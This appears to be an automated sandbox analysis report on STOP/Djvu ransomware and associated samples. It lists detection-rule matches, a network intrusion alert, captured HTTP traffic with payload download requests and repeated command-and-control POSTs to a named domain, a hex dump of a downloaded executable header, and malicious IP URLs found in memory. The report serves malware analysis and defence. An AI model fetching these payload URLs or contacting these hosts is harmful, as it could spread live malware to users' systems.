25.0.5999.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
25.0.5999.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
25.0.5999.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.0.5999.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
25.0.5999.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
25.0.5999.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.0.5999.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
25.2.5999.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
25.2.5999.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.2.5999.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.2.5999.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Click to see the 120 entries

Snort Signatures

ET TROJAN Single char EXE direct download likely trojan (multiple families) - Source IP: 192.168.2.6 - Destination IP: 185.174.137.70

Timestamp:	192.168.2.6185.174.137.7049705802018581 11/03/22-12:46:51.239510
SID:	2018581
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 03 Nov 2022 11:46:51 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 03 Nov 2022 11:37:55 GMTETag: "34e00-5ec8f63652d4d"Accept-Ranges: bytesContent-Length: 216576Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1b ac 4c 86 5f cd 22 d5 5f cd 22 d5 5f cd 22 d5 41 9f b7 d5 42 cd 22 d5 41 9f a1 d5 dc cd 22 d5 78 0b 59 d5 58 cd 22 d5 5f cd 23 d5 ce cd 22 d5 41 9f a6 d5 6d cd 22 d5 41 9f b6 d5 5e cd 22 d5 41 9f b3 d5 5e cd 22 d5 52 69 63 68 5f cd 22 d5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 da 69 b0 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e6 01 00 00 24 17 00 00 00 00 00 16 95 00 00 00 10 00 00 00 00 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 10 19 00 00 04 00 00 2a 6d 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 e8 01 00 50 00 00 00 00 c0 18 00 10 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 24 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 88 e4 01 00 00 10 00 00 00 e6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 64 b1 16 00 00 00 02 00 00 20 01 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 43 00 00 00 c0 18 00 00 44 00 00 00 0a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /upload/ChromeSetup.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: shingroup.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ihscr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 127Host: furubujjul.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://erlnjwq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 219Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://petsisa.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 352Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://afsgomos.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 286Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wovjsp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 144Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ugojjub.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 138Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ojgirn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 321Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: GET /s.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.174.137.70
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kgypm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 216Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tigsodvg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 138Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tdwofe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 135Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gnwpmx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 357Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lcnrqc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 280Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nduckkr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 335Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qtvcgbfk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gafgylgoi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nmqtq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ejmdi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xnnhfx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xoeixqhnce.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: starvestitibo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://starvestitibo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 617Host: starvestitibo.org

Source: 5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.217.246.41/
Source: 5487.exe, 00000012.00000002.521075349.000000001AE50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.246.41/1752
Source: 5487.exe, 00000012.00000002.521075349.000000001AE50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.246.41/815243149147.zip
Source: 5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.217.246.41/m
Source: 5487.exe, 00000012.00000003.444876306.0000000000A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.217.246.41:80
Source: 5487.exe, 00000012.00000002.509319814.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://95.217.246.41:80/815243149147.zip
Source: 5487.exe, 00000012.00000002.509319814.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://95.217.246.41:80/815243149147.zipz
Source: 5487.exe, 00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp, 5487.exe, 00000012.00000002.509467552.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, 5487.exe, 00000012.00000003.421456756.00000000008F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://95.217.27.155:80
Source: 5487.exe, 00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp, 5487.exe, 00000012.00000002.509467552.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, 5487.exe, 00000012.00000003.421456756.00000000008F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://95.217.27.155:80hello0bad
Source: 5487.exe, 00000012.00000003.446444165.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, 5487.exe, 00000012.00000002.514752262.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: 509E.dll.1.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 509E.dll.1.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: 5999.exe, 00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp, 5999.exe, 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 5999.exe, 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 5999.exe, 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: 5487.exe, 00000012.00000002.514521211.0000000000A04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://o365.217.246.41/
Source: 509E.dll.1.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm8D
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: explorer.exe, 00000015.00000000.419198116.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, explorer.exe, 00000015.00000002.421091723.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://starvestitibo.org/
Source: explorer.exe, 00000015.00000000.419198116.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, explorer.exe, 00000015.00000002.421091723.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://starvestitibo.org/Mozilla/5.0
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
